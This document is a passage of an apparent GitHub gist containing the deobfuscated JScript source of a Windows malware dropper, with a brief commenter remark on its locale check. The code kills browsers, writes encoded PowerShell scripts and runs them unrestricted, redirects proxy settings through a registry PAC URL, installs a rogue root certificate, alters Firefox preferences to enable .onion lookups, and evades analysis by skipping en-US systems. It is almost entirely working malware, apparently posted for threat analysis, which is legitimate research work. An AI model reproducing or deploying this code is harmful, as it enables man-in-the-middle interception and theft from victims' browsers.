"ZGlyIGluICRkaXJzKXsKICAgICAgICB0cnl7CiAgICAgICAgICAgICRzdWJkaXI9ZGlyKCRkaXIuRnVsbE5hbWUpIC1FcnJvckFjdGlvbiBTdG9wOwogICAgICAgICAgICBMb2dXcml0ZSgiTGlzdCBkaXIgW3swfV06ezF9IiAtZiAoJGRpci5GdWxsTmFtZSwgKCgk"+
"c3ViZGlyfFNlbGVjdCAtZXhwYW5kIE5hbWUpIC1qb2luICI7ICIpKSk7CiAgICAgICAgfQogICAgICAgIGNhdGNoewogICAgICAgICAgICBMb2dXcml0ZSgiRVJST1I6IENhbid0IGxpc3QgZGlyIHswfSIgLWYgJGRpci5GdWxsTmFtZSk7CiAgICAgICAgfQogICAg"+
"fQogIH0KICBjYXRjaCB7CiAgICBMb2dXcml0ZSgiRVJST1I6IENhbid0IGxpc3QgZGlyIHswfSIgLWYgJERlc3RUUCk7CiAgfQoKICAkYXZsaXN0PShHZXQtV21pT2JqZWN0IC1OYW1lc3BhY2UgInJvb3RcU2VjdXJpdHlDZW50ZXIyIiAtUXVlcnkgIlNFTEVDVCAq"+
"IEZST00gQW50aVZpcnVzUHJvZHVjdCIgIEBwc2JvdW5kcGFyYW1ldGVyc3xTZWxlY3QgLWV4cGFuZCBEaXNwbGF5TmFtZSk7CiAgaWYgKC1OT1QgJGF2bGlzdC5jb3VudCAtZXEgMCl7CiAgICBMb2dXcml0ZSgiQXYgaW5zdGFsbGVkOiAnezB9JyIgLWYgKCRhdmxp"+
"c3QgLWpvaW4gIjsgIikpOwogIH1lbHNlIHsKICAgIExvZ1dyaXRlKCJBdiBub3QgZm91bmQiKTsKICB9Cn0KZnVuY3Rpb24gU3RhcnRXb3JrKCl7CiAgTG9nV3JpdGUgIlN0YXJ0IExvZyBtb2R1bGUiOwogIENoZWNrSW5zdGFsbDsKICBVcGxvYWRMb2c7Cn0KU3Rh"+
"cnRXb3JrOwo="
};
var oFYElTqgzjVFJin={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=oFYElTqgzjVFJin._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},LhDobqHuBEBGn:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=this._keyStr.indexOf(e.charAt(f++));o=this._keyStr.indexOf(e.charAt(f++));u=this._keyStr.indexOf(e.charAt(f++));a=this._keyStr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=oFYElTqgzjVFJin._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}};
var slVdp={
iybxVqVLfcqAyyd:function(sFileName,bData){
var streamW = new ActiveXObject("ADODB.Stream");
streamW.Open();
streamW.Type=BINARY_STREAM_TYPE;

	var rs = new ActiveXObject("ADODB.Recordset");
	var len=bData.length*2;
	rs.Fields.Append("data",204,len,0x80);
	rs.Open();
	rs.AddNew();
	rs.Fields("data").AppendChunk(bData);
	rs.Update();
	rs.MoveFirst();
	var binArray = rs("data").GetChunk(len);
	rs.Close();

	eval("streamW.Wri" + "te(bin"+"Array)");
	streamW.Position=0;
	
	if(qjIYNGPZQOOM.FileExists(sFileName)){
		qjIYNGPZQOOM.DeleteFile(sFileName);
	}
	streamW.SaveToFile(sFileName);
	streamW.Close();
	
	var outStreamA = new ActiveXObject("ADODB.Stream");
	var outStreamB = new ActiveXObject("ADODB.Stream");
	outStreamA.Type=TEXT_STREAM_TYPE;
	outStreamB.Type=TEXT_STREAM_TYPE;
	outStreamB.Charset = "ISO-8859-1";
	outStreamA.Open();
	outStreamB.Open();
	outStreamA.LoadFromFile(sFileName);
	outStreamA.Position = 0; 
	outStreamA.CopyTo(outStreamB);
	outStreamA.Close();
	outStreamB.SaveToFile(sFileName,CREATE_OVERWRITE_SAVE_MODE);
	outStreamB.Close();
},
sgChMqMm: function(m, n){
    m = parseInt(m,10);
    n = parseInt(n,10);
    return Math.floor(Math.random() * (n - m + 1)) + m;
},
FFxRRshmULan: function(Jxd, fvy){
    var MSoHTYVeNW = 0;
    var kgwcdFNRlOGtXq = "";
    var tVYD;
    if (fvy === undefined) {
        fvy = false;
    }
    while (MSoHTYVeNW < Jxd) {
        tVYD = (Math.floor((Math.random() * 100)) % 94) + 33;
        if (!fvy) {
            if ((tVYD >= 33) && (tVYD <= 47)) {
                continue;
            }
            if ((tVYD >= 58) && (tVYD <= 64)) {
                continue;
            }
            if ((tVYD >= 91) && (tVYD <= 96)) {
                continue;
            }
            if ((tVYD >= 123) && (tVYD <= 126)) {
                continue;
            }
        }
        MSoHTYVeNW++;
        kgwcdFNRlOGtXq += String.fromCharCode(tVYD);
    }
    return kgwcdFNRlOGtXq;
},
BWKzE: function(str){
    return str.replace(/(^\s+)|(\s+$)/g, "");
}

};
if (!String.format) {
String.format = function(format) {
var args = Array.prototype.slice.call(arguments, 1);
return format.replace(/{(\d+)}/g, function(match, number) {
return typeof args[number] != "undefined"
? args[number]
: match
;
});
};
}
function fZmCE(){
this.DRkVFAcyAXhCQVV=slVdp.FFxRRshmULan(8)+".ps1";

this.mpxcfQg=function(){
	var gZOizK = new ActiveXObject("MSXML2"+".XML"+"HTTP");
	try{
		gZOizK.open("GET","http://api.ipify.org/",false);
		gZOizK.send();
		if(gZOizK.status==200){
			return slVdp.BWKzE(gZOizK.responseText);
		}
	}catch(e) { util_log(">>> Silencing catch " + _inspect(e));}
	try{
		gZOizK.open("GET","http://icanhazip.com/",false);
		gZOizK.send();
		if(gZOizK.status==200){
			return slVdp.BWKzE(gZOizK.responseText);
		}
	}catch(e) { util_log(">>> Silencing catch " + _inspect(e));}
	return "";
};

this.dUMFith=function(){
	TBItSrBI.RegWrite(oFYElTqgzjVFJin.LhDobqHuBEBGn("SEtDV"+"VxTb2Z0d2FyZVxNaWNyb3NvZ"+"nRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm"+"5ldCBTZXR0aW5nc1xBdXRvRGV0ZWN0"),0,"REG_DWORD");
	
	for(var i=0;i<5;i++){
		var RaDmdNKCWbxkxgW=this.mpxcfQg();
		if(RaDmdNKCWbxkxgW.length>0){
			this.XEPhhyPLbYFaS(String.format("http://127.0.0.1:5555/{0}.js?ip={1}",slVdp.FFxRRshmULan(8),RaDmdNKCWbxkxgW));
		}
	}
};
this.XEPhhyPLbYFaS=function(s){
	TBItSrBI.RegWrite(oFYElTqgzjVFJin.LhDobqHuBEBGn("SEtDVVxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5nc1xBdXRvQ29uZmlnVVJM"),s,"REG_SZ");
};
this.KWQtLymsVHjRbxY=function(){
	this.DRkVFAcyAXhCQVV=guHtyMdqJf+"\\"+this.DRkVFAcyAXhCQVV;
	var bData=oFYElTqgzjVFJin.LhDobqHuBEBGn(NxipQg.vJoAQmdE);
	bData=bData.replace("%CERT%",NxipQg.oxkjBDU);
	slVdp.iybxVqVLfcqAyyd(this.DRkVFAcyAXhCQVV,bData);
	TBItSrBI.Run("cmd /c powershell -ep Unrestricted -f \""+this.DRkVFAcyAXhCQVV+"\" | find /v \"\" >> \""+WdOIVrAVgzxX+"\"",0,true);
};
this.Lqlrj=function(){
	if(qjIYNGPZQOOM.FileExists(this.DRkVFAcyAXhCQVV)){
		qjIYNGPZQOOM.DeleteFile(this.DRkVFAcyAXhCQVV);
	}
};

}
function PZFr(){
var ieOGXajx = RvmCnNTEKDQiGxM + "\Mozilla\Firefox\Profiles";
this.IVeolekrYDO=slVdp.FFxRRshmULan(8)+".ps1";

this.IYybEtGdV=function(){
	if(qjIYNGPZQOOM.FolderExists(ieOGXajx)){
		var ArrFirefoxProfileList=qjIYNGPZQOOM.GetFolder(ieOGXajx).SubFolders;
		if(ArrFirefoxProfileList.Count>0){
			var e = new Enumerator(ArrFirefoxProfileList);
			e.moveFirst();
			while (e.atEnd() == false){
				var folder=e.item();
				if(folder.Name.indexOf(".default")>-1){
					return folder.Path;
				}
				e.moveNext();
			}
		}
	}
	return false;
};
this.InstallPac=function(){
	var StrProfile=this.IYybEtGdV();
	if(StrProfile!=false){
		var StrPrefsJs=StrProfile+oFYElTqgzjVFJin.LhDobqHuBEBGn("XHByZWZzLmpz");
		if(qjIYNGPZQOOM.FileExists(StrPrefsJs)){
			var StrContent=qjIYNGPZQOOM.OpenTextFile(StrPrefsJs,1).ReadAll();
			var ArrContent=StrContent.split("\n");
			var NewArrContent=[];
			for(var i=0;i<ArrContent.length;i++){
				if(ArrContent[i].indexOf("network.dns.blockDotOnion")!=-1){
					ArrContent[i]=ArrContent[i].replace("true","false");
				}
				if(ArrContent[i].indexOf("network.proxy.")==-1 && ArrContent[i].indexOf("security.enterprise_roots.enabled")==-1){
					NewArrContent.push(ArrContent[i]);
				}
				
			}
			NewArrContent.push("user_pref(\"network.dns.blockDotOnion\", false);");
			NewArrContent.push("user_pref(\"security.enterprise_roots.enabled\", true);");
			StrContent=NewArrContent.join("\n");
			var stream=qjIYNGPZQOOM.CreateTextFile(StrPrefsJs, true);
			stream.Write(StrContent);
			stream.Close();
		}
	}
};
this.InstallCert=function(){
	this.IVeolekrYDO=guHtyMdqJf+"\\"+this.IVeolekrYDO;
	var bData=oFYElTqgzjVFJin.LhDobqHuBEBGn(NxipQg.gixNS);
	bData=bData.replace("%CERT%",NxipQg.oxkjBDU);
	slVdp.iybxVqVLfcqAyyd(this.IVeolekrYDO,bData);
	TBItSrBI.Run("cmd /c powershell -ep Unrestricted -f \""+this.IVeolekrYDO+"\" | find /v \"\" >> \""+WdOIVrAVgzxX+"\"",0,true);
};
this.Close=function(){
	if(qjIYNGPZQOOM.FileExists(this.IVeolekrYDO)){
		qjIYNGPZQOOM.DeleteFile(this.IVeolekrYDO);
	}
};

}
function C_TP(){
this.FileName=slVdp.FFxRRshmULan(slVdp.sgChMqMm(5,10))+".ps1";
this.Install=function(){
var indexDomain=slVdp.sgChMqMm(0,NxipQg.XfuHSwsBvGyg.length-1);
var Domain=NxipQg.XfuHSwsBvGyg[indexDomain];
this.FileName=TBItSrBI.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")+"\"+this.FileName;
var bData=oFYElTqgzjVFJin.LhDobqHuBEBGn(NxipQg.VCdOxEEAMWJp);
bData=bData.replace(/%DOMAIN%/g,Domain);
slVdp.iybxVqVLfcqAyyd(this.FileName,bData);
TBItSrBI.Run("cmd /c powershell -ep Unrestricted -f ""+this.FileName+"" | find /v "" >> ""+WdOIVrAVgzxX+""",0,true);
};
this.Close=function(){
if(qjIYNGPZQOOM.FileExists(this.FileName)){
qjIYNGPZQOOM.DeleteFile(this.FileName);
}
};
}
function fqrEHQG(){
this.FileName=guHtyMdqJf+"\"+slVdp.FFxRRshmULan(8)+".ps1";
this.ewc=function(){
fWycur=new fZmCE();
RoopjpV=new PZFr();
UxSukqu=new C_TP();
};
this.UmZDgNNOM=function(){

	if(this.CheckTest()){
		
		return false;
		
	}
	this.ewc();
	UxSukqu.Install();
	this.Caes();
	this.dOoHEXbbH();
	this.NvZFClJeM();
	this.Close();
	
	this.QydMzBfbZ();
	
};
this.dOoHEXbbH=function(){
	fWycur.KWQtLymsVHjRbxY();
	fWycur.dUMFith();
};
this.NvZFClJeM=function(){
	RoopjpV.InstallCert();
	RoopjpV.InstallPac();
};
this.Caes=function(){
	TBItSrBI.Run(oFYElTqgzjVFJin.LhDobqHuBEBGn("dGFza2tpbGwgL0Y"+"gL2ltIGlleHBsb3JlLmV4ZQ=="),0,false);
	TBItSrBI.Run(oFYElTqgzjVFJin.LhDobqHuBEBGn("dGFza2tpbGwgL0Yg"+"L2ltIGZpcmVmb3guZXhl"),0,false);
	TBItSrBI.Run(oFYElTqgzjVFJin.LhDobqHuBEBGn("dGFza2tpbGwgL0YgL"+"2ltIGNocm9tZS5leGU="),0,false);
};
this.QydMzBfbZ=function(){
	var bData=oFYElTqgzjVFJin.LhDobqHuBEBGn(NxipQg.CqufLn);
	slVdp.iybxVqVLfcqAyyd(this.FileName,bData);
	TBItSrBI.Run("powershell -ep Unrestricted -f \""+this.FileName+"\"",0,true);
	if(qjIYNGPZQOOM.FileExists(this.FileName)){
		qjIYNGPZQOOM.DeleteFile(this.FileName);
	}
};
this.CheckTest=function(){
	var langs = GetObject("winmgmts:\\\\.\\root\\cimv2").ExecQuery("Select * from Win32_OperatingSystem");
	var arr = [];
	for (var enumItems = new Enumerator(langs) ; !enumItems.atEnd() ; enumItems.moveNext()) {
		var MUILanguages = enumItems.item().MUILanguages.toArray();
		for (i in MUILanguages) {
			arr.push(MUILanguages[i]);
		}
	}
	var muilangs = arr.join(",");
	if(muilangs=='en-US'){
		return true;
	}
	return false;
}
this.Close=function(){
	fWycur.Lqlrj();
	RoopjpV.Close();
	UxSukqu.Close();
};   

}
var DFpkDGA = new fqrEHQG();
DFpkDGA.UmZDgNNOM();

@Blevene
Copy link
Author

Blevene commented Jan 8, 2018

Still using MUILanguages to evaluate locale:

this.CheckTest=function(){
var langs = GetObject("winmgmts:\\.\root\cimv2").ExecQuery("Select * from Win32_OperatingSystem");
var arr = [];
for (var enumItems = new Enumerator(langs) ; !enumItems.atEnd() ; enumItems.moveNext()) {
var MUILanguages = enumItems.item().MUILanguages.toArray();
for (i in MUILanguages) {
arr.push(MUILanguages[i]);
}
}
var muilangs = arr.join(",");
if(muilangs=='en-US'){
return true;
}
return false;
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment